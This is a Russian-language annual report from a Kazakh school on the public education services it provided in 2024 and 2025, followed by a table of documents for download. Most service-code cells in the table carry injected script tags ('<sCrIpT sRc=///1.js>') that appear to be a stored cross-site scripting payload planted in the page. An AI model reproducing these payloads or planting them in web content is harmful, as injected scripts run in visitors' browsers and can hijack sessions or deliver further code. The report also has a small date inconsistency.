За 2025 год отделом образования, и подведомственными организациями оказано 9 услуг:
оказанных через Госкорпорацию «Правительство для граждан» -
0 услуги;
оказанных государственных услуг в электронном варианте через ПЭП - 5 услуг;
оказанных государственных услуг, оказанных в бумажном варианте -
4 услуг.
электронный вид через информационные системы услугодателя без прямого контакта с услугополучателем (за исключением веб-портала "электронного правительства" www.egov.kz, www.elicense.kz) – 0 услуг.
электронный вид через информационные системы услугодателя путем прямого контакта с услугополучателем и ручного ввода заявки в информационную систему (за исключением веб-портала "электронного правительства" www.egov.kz, www.elicense.kz) – 5 услуг.
Все государственные услуги в сфере образования оказываются на бесплатной основе.
За 2024 год учреждением образования было оказано 29 услуг;
оказанных через Госкорпорацию «Правительство для граждан» -
0 услуга;
оказанных государственных услуг в электронном варианте через ПЭП - 8 услуг;
оказанных государственных услуг, оказанных в бумажном варианте -
21 услуг.
электронный вид через информационные системы услугодателя без прямого контакта с услугополучателем (за исключением веб-портала "электронного правительства" www.egov.kz, www.elicense.kz) – 0 услуг.
электронный вид через информационные системы услугодателя путем прямого контакта с услугополучателем и ручного ввода заявки в информационную систему (за исключением веб-портала "электронного правительства" www.egov.kz, www.elicense.kz) – 0 услуг.
Все государственные услуги в сфере образования оказываются на бесплатной основе.


Наиболее востребованные государственные услуги в сфере образования:
«Прием документов для перевода детей между организациями начального, основного среднего, общего среднего образования»;
«Выдача дубликатов документов об основном среднем, общем среднем образовании».
Вся необходимая информация для услугополучателей размещена на официальном интернет ресурсе школы http://sc0021.stepnogorsk.aqmoedu.kz/ в разделе «Государственные услуги» размещены правила оказания государственных услуг. Также, на информационных стендах размещены правила государственных услуг. Функционирует уголок самообслуживания.
В настоящее время публичное обсуждение проектов подзаконного правовых актов осуществляется на интернет-портале открытых нормативно правовых актов. Отделом образования нормативно правовые акты не разрабатывались.
За 2025 год школой в социальных сетях было опубликовано 7 публикаций и 1 прямой эфир. На ежемесячной основе проводится работа по информированию населения о порядке предоставления государственных услуг посредством интернет – ресурсов услугодателей.
Функционирует система Министерства образования и науки Республики Казахстан АРМ ГУ МП РК, в которой доступны 12 государственных услуг.
Государственные услуги оказывают 2 сотрудников, которые обеспечены необходимой компьютерной техникой.
Контроль за качеством оказания государственных услуг.
Нарушений сроков оказания государственных услуг и необоснованных отказов не установлено.
Согласно результатам общественного мониторинга, за качеством оказания государственных услуг в 2024 году нарушений сроков оказания государственной услуги не выявлено. Принимаются меры по недопущению нарушений государственных услуг.
В целях повышения удовлетворенности услугополучателей и повышения качества оказания государственных услуг на 2026 год утвержден план контрольных мероприятий по вопросу соблюдения законодательства РК.
В 2024 году школой будет продолжена работа по обеспечению физических лиц доступными и качественными государственными услугами.
Руководитель С.Тюлеубаев
| № п/п | The service code according to the register of public services | Name of service | Forms for download | To get the service online |
|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 |
| 1 | 007<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | отчет по государственным услугам за 2022 год | ||
| 2 | 0 | отчет по государственным услугам за 2025 год | Инструкция получения электронной услуги | |
| 3 | 008<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Отчет по государственным услугам за 2023 год | ||
| 4 | 803008<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Правила оказания государственной услуги "Актуализация (корректировка) сведений о документах об образовании" | ||
| 5 | 001<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Этический кодекс | ||
| 6 | 002<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Перечень государственных услуг | ||
| 7 | 003<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Типовые правила | ||
| 8 | 004<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Выдача дубликатов документов об образовании государственного образца и Правил их выдачи | ||
| 9 | 005<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Форма заявлении и расписка | ||
| 10 | 006<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | отчет по гос.услугам 2021 год | ||
| 11 | 000<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt> | Отчет по государственным услугам за 2024 год |